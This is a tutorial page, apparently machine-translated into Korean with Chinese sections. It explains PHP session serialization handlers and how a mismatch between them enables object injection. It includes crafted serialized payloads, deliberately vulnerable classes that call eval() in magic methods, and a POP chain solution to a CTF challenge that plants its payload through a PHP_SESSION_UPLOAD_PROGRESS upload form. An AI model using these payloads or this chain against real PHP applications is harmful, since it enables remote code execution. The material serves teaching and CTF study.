PHP의 세션 역직렬화 메커니즘

黄舟
풀어 주다: 2023-03-05 12:12:02
원래의
1145명이 탐색했습니다.

소개

php.ini에는 세 가지 구성 항목이 있습니다:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php
로그인 후 복사

위 옵션은 PHP의 세션 저장 및 시퀀스 저장과 관련이 있습니다.

xampp 컴포넌트를 사용한 설치에서 위 구성 항목의 설정은 다음과 같습니다.

session.save_path="D:\xampp\tmp"	表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files	  	表明session是以文件的方式来进行存储的
session.auto_start=0	表明默认不启动session
session.serialize_handler=php	   表明session的默认序列话引擎使用的是php序列话引擎
로그인 후 복사

위 구성에서 session.serialize_handler는 세션의 직렬화 엔진을 설정하는 데 사용되며, 기본 PHP 엔진 외에도 다른 엔진이 있으며, 다른 엔진에 해당하는 세션 저장 방법이 다릅니다.

  • php_binary: 저장 방법은 키 이름의 길이에 해당하는 ASCII 문자 + 키 이름 + serialize() 함수에 의해 직렬화된 값

  • php: 저장 방법은 키 이름 + 세로 막대 + serialize() 함수 시퀀스에서 처리되는 값

  • php_serialize(php>5.5.4): 저장방식은 직렬화 후 ()함수 직렬화

로 처리한 값은 PHP에서 기본적으로 PHP 엔진을 사용하므로 다른 엔진으로 수정하고 싶다면 추가만 하면 된다. 코드 ini_set('session.serialize_handler', '설정해야 하는 엔진');. 샘플 코드는 다음과 같습니다.

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
// do something
로그인 후 복사

저장 메커니즘

PHP에서 세션의 내용은 메모리에 저장되지 않고 파일 형태로 저장됩니다. session.save_handler 구성 항목을 통해 결정하면 기본값은 파일 형식으로 저장하는 것입니다.

저장된 파일의 이름은 sess_sessionid를 따서 명명되었으며, 파일의 내용은 세션 값의 순서에 따른 내용입니다.

우리 환경이 xampp이라고 가정하면 기본 구성은 위와 같습니다.

기본 구성:

<?php
session_start()
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>
로그인 후 복사

마지막 세션은 다음과 같이 저장되고 표시됩니다.

PHP의 세션 역직렬화 메커니즘

PHPSESSID는 jo86ud4jfvu81mbg28sl2s56c2이고 xampp/tmp에 저장된 파일 이름은 sess_jo86ud4jfvu81mbg28sl2s56c2이며 파일 내용은 name|s:6:"spoock";입니다. name은 키 값이고, s:6:"spoock"는 serialize("spoock")의 결과입니다.

php_serialize 엔진 아래:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>
로그인 후 복사

SESSION 파일의 내용은 a:1:{s:4:"name";s:6:"spoock";}입니다. a:1은 php_serialize가 직렬화에 사용되는 경우 추가됩니다. 동시에 php_serialize를 사용하면 세션의 키와 값이 모두 직렬화됩니다.

php_binary 엔진 아래:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_binary&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>
로그인 후 복사

SESSION 파일의 내용은 names:6:"spoock";입니다. 이름의 길이가 4이므로 4는 ASCII 테이블의 EOT에 해당합니다. php_binary의 저장 규칙에 따르면 마지막 것은 names:6:"spoock";입니다. (갑자기 웹 페이지에 ASCII 값이 4인 문자가 표시되지 않는 것을 발견했습니다. ASCII 표를 직접 확인하세요.)

직렬화 사용이 간단합니다

test.php

?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET[&#39;a&#39;]);
?>
로그인 후 복사

들어오는 매개변수는 11행에 직렬화되어 있습니다. 특정 문자열을 전달하고 이를 syclover의 예로 역직렬화한 다음 eval() 메서드를 실행할 수 있습니다. localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}를 방문합니다. 그러면 역직렬화를 통해 얻은 콘텐츠는 다음과 같습니다.

object(syclover)[1]
  public &#39;func&#39; => string &#39;echo "spoock";&#39; (length=14)
로그인 후 복사

마지막 페이지 출력은 spoock이며, 이는 우리가 정의한 echo "spoock" 메서드가 최종적으로 실행되었음을 나타냅니다.

간단한 직렬화 취약점에 대한 데모입니다

PHP 세션의 직렬화 위험

PHP에서 세션 구현에는 문제가 없습니다. 주요 위험은 다음과 같습니다. 프로그래머가 세션을 부적절하게 사용합니다.

저장된 $_SESSION 데이터를 역직렬화하기 위해 PHP에서 사용하는 엔진이 직렬화에 사용되는 엔진과 다른 경우 데이터가 올바르게 역직렬화되지 않습니다. 신중하게 구성된 데이터 패킷을 통해 프로그램 검증을 우회하거나 일부 시스템 방법을 실행할 수 있습니다. 예:

$_SESSION[&#39;ryat&#39;] = &#39;|O:11:"PeopleClass":0:{}&#39;;
로그인 후 복사

위의 $_SESSION 데이터는 php_serialize를 사용하고 최종 저장된 콘텐츠는 a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass "입니다. :0:{}";}.

하지만 읽을 때 PHP를 선택했기 때문에 마지막으로 읽은 내용은 다음과 같습니다.

array (size=1)
  &#39;a:1:{s:6:"spoock";s:24:"&#39; =>
    object(__PHP_Incomplete_Class)[1]
      public &#39;__PHP_Incomplete_Class_Name&#39; => string &#39;PeopleClass&#39; (length=11)
로그인 후 복사

PHP 엔진을 사용할 때 PHP 엔진은 키 사이의 구분 기호로 | 및 값이면 a:1:{s:6:"spoock";s:24:"가 SESSION의 키로 사용되고 O:11:"PeopleClass":0:{}가 값으로 사용됩니다. 그런 다음 역직렬화하면 마침내 PeopleClas 클래스를 얻게 됩니다.

직렬화와 역직렬화에 사용되는 서로 다른 엔진이 PHP 세션 직렬화 취약점의 원인입니다<

실제 활용

s1.php와 us2.php가 있습니다. 두 파일에서 사용하는 SESSION 엔진이 다르기 때문에 취약점이 발생합니다.

s1.php는 php_serialize를 사용하여 세션

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION["spoock"]=$_GET["a"];
로그인 후 복사

us2를 처리합니다. .php, php를 사용하여 세션 처리

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = &#39;phpinfo();&#39;;
    }
    
    function __destruct() {
         eval($this->hi);
    }
}
로그인 후 복사

s1.php에 액세스할 때 다음 데이터를 제출합니다.

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
로그인 후 복사

이 때, 들어오는 데이터는 php_serialize에 따라 직렬화됩니다.

us2.php에 접근하면 Spoock이 우리가 구성한 함수가 성공적으로 실행됩니다. 왜냐하면 us2.php에 접근하면 프로그램이 SESSION의 데이터를 Deserialize하기 때문입니다. 위조된 데이터는 역직렬화되고, 레몬 객체는 인스턴스화되며, 마지막으로 소멸자의 eval() 메서드가 실행됩니다.

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php
 
highlight_string(file_get_contents(basename($_SERVER[&#39;PHP_SELF&#39;])));
//show_source(__FILE__);
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}
 
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = &#39;1234567890&#39;;
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}
 
class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}
 
?>
로그인 후 복사

index.php

<?php
 
ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
 
require("./class.php");
 
session_start();
 
$obj = new foo1();
 
$obj->varr = "phpinfo.php";
 
?>
로그인 후 복사

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:


myindex.php

<?php
class foo3{
        public $varr=&#39;echo "spoock";&#39;;
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = &#39;1234567890&#39;;
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}
 
class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}
 
 
$obj = new foo1();
print_r(serialize($obj));
?>
로그인 후 복사

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}
로그인 후 복사

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
로그인 후 복사

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|

但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

以上就是PHP 中 Session 反序列化机制的内容,更多相关内容请关注PHP中文网(www.php.cn)!


원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿